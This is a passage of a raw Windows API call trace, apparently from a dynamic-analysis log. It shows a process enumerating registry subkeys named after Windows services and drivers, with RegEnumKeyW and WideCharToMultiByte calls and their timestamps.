WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0249.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x1de4450, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache3.0.0.0", lpUsedDefaultChar=0x0) returned 16 [0249.520] RegEnumKeyW (in: hKey=0x154, dwIndex=0x74, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0249.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0249.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x1de4408, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fsdepends", lpUsedDefaultChar=0x0) returned 9 [0249.521] RegEnumKeyW (in: hKey=0x154, dwIndex=0x75, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0249.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fs_rec", lpUsedDefaultChar=0x0) returned 6 [0249.521] RegEnumKeyW (in: hKey=0x154, dwIndex=0x76, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0249.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fvevol", lpUsedDefaultChar=0x0) returned 6 [0249.521] RegEnumKeyW (in: hKey=0x154, dwIndex=0x77, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0249.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gagp30kx", lpUsedDefaultChar=0x0) returned 8 [0249.521] RegEnumKeyW (in: hKey=0x154, dwIndex=0x78, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0249.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x1de4408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpsvc", lpUsedDefaultChar=0x0) returned 5 [0249.521] RegEnumKeyW (in: hKey=0x154, dwIndex=0x79, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0249.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdate", lpUsedDefaultChar=0x0) returned 7 [0249.521] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0249.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdatem", lpUsedDefaultChar=0x0) returned 8 [0249.521] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0249.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hcw85cir", lpUsedDefaultChar=0x0) returned 8 [0249.522] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0249.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0249.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x1de4408, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudaddservice", lpUsedDefaultChar=0x0) returned 15 [0249.522] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0249.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudbus", lpUsedDefaultChar=0x0) returned 8 [0249.522] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0249.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbatt", lpUsedDefaultChar=0x0) returned 7 [0249.522] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0249.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbth", lpUsedDefaultChar=0x0) returned 6 [0249.522] RegEnumKeyW (in: hKey=0x154, dwIndex=0x80, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0249.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x1de4408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidir", lpUsedDefaultChar=0x0) returned 5 [0249.522] RegEnumKeyW (in: hKey=0x154, dwIndex=0x81, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0249.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidserv", lpUsedDefaultChar=0x0) returned 7 [0249.523] RegEnumKeyW (in: hKey=0x154, dwIndex=0x82, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0249.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidusb", lpUsedDefaultChar=0x0) returned 6 [0249.523] RegEnumKeyW (in: hKey=0x154, dwIndex=0x83, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0249.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hkmsvc", lpUsedDefaultChar=0x0) returned 6 [0249.523] RegEnumKeyW (in: hKey=0x154, dwIndex=0x84, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0249.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0249.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x1de4408, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegrouplistener", lpUsedDefaultChar=0x0) returned 17 [0249.523] RegEnumKeyW (in: hKey=0x154, dwIndex=0x85, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0249.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0249.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x1de4450, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroupprovider", lpUsedDefaultChar=0x0) returned 17 [0249.523] RegEnumKeyW (in: hKey=0x154, dwIndex=0x86, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0249.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hpsamd", lpUsedDefaultChar=0x0) returned 6 [0249.523] RegEnumKeyW (in: hKey=0x154, dwIndex=0x87, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0249.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x1de4450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http", lpUsedDefaultChar=0x0) returned 4 [0249.523] RegEnumKeyW (in: hKey=0x154, dwIndex=0x88, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0249.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hwpolicy", lpUsedDefaultChar=0x0) returned 8 [0249.524] RegEnumKeyW (in: hKey=0x154, dwIndex=0x89, lpName=0x1dd29e0, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0249.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i8042prt", lpUsedDefaultChar=0x0) returned 8 [0249.524] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0249.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iastorv", lpUsedDefaultChar=0x0) returned 7 [0249.524] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0249.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x1de4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="idsvc", lpUsedDefaultChar=0x0) returned 5 [0249.524] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0249.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x1de4408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iirsp", lpUsedDefaultChar=0x0) returned 5 [0249.524] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0249.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ikeext", lpUsedDefaultChar=0x0) returned 6 [0249.524] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0249.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inetaccs", lpUsedDefaultChar=0x0) returned 8 [0249.525] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="intelide") returned 0x0 [0249.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelide", lpUsedDefaultChar=0x0) returned 8 [0249.525] RegEnumKeyW (in: hKey=0x154, dwIndex=0x90, lpName=0x1dd29e0, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0249.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelppm", lpUsedDefaultChar=0x0) returned 8 [0249.525] RegEnumKeyW (in: hKey=0x154, dwIndex=0x91, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0249.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0249.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x1de4450, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipbusenum", lpUsedDefaultChar=0x0) returned 9 [0249.525] RegEnumKeyW (in: hKey=0x154, dwIndex=0x92, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0249.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0249.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x1de4408, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipfilterdriver", lpUsedDefaultChar=0x0) returned 14 [0249.525] RegEnumKeyW (in: hKey=0x154, dwIndex=0x93, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0249.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iphlpsvc", lpUsedDefaultChar=0x0) returned 8 [0249.525] RegEnumKeyW (in: hKey=0x154, dwIndex=0x94, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0249.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipmidrv", lpUsedDefaultChar=0x0) returned 7 [0249.525] RegEnumKeyW (in: hKey=0x154, dwIndex=0x95, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0249.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x1de4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipnat", lpUsedDefaultChar=0x0) returned 5 [0249.526] RegEnumKeyW (in: hKey=0x154, dwIndex=0x96, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0249.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="irenum", lpUsedDefaultChar=0x0) returned 6 [0249.526] RegEnumKeyW (in: hKey=0x154, dwIndex=0x97, lpName=0x1dd29e0, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0249.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isapnp", lpUsedDefaultChar=0x0) returned 6 [0249.526] RegEnumKeyW (in: hKey=0x154, dwIndex=0x98, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0249.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iscsiprt", lpUsedDefaultChar=0x0) returned 8 [0249.526] RegEnumKeyW (in: hKey=0x154, dwIndex=0x99, lpName=0x1dd29e0, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0249.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, 